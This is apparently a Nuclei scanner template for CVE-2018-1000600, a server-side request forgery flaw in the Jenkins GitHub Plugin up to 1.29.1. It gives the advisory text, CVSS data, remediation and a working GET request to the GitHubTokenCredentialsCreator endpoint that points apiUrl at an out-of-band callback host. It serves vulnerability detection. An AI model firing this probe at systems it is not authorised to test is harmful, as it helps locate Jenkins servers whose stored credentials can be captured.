Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.
PoC代码[已公开]
id: CVE-2018-1000600
info:
name: Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery
author: geeknik
severity: high
description: |
Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the network.
remediation: |
Upgrade Jenkins GitHub Plugin to version 1.29.2 or later to mitigate the vulnerability.
reference:
- https://www.jenkins.io/security/advisory/2018-06-25/#SECURITY-915
- https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
- https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000600
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2018-1000600
cwe-id: CWE-200
epss-score: 0.94112
epss-percentile: 0.99904
cpe: cpe:2.3:a:jenkins:github:*:*:*:*:*:jenkins:*:*
metadata:
max-request: 1
vendor: jenkins
product: github
framework: jenkins
tags: cve,cve2018,jenkins,ssrf,oast,github
http:
- method: GET
path:
- "{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://{{interactsh-url}}"
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a00473045022100ee091cd23bf94d5b171a0df1eac704d6adb9ff4e7796d391347817ddf99b0d01022051e135231df95f9f725d3e4a075627291b94f14d0f4101e4af1805128bb797ab:922c64590222798bb761d5b6d8e72950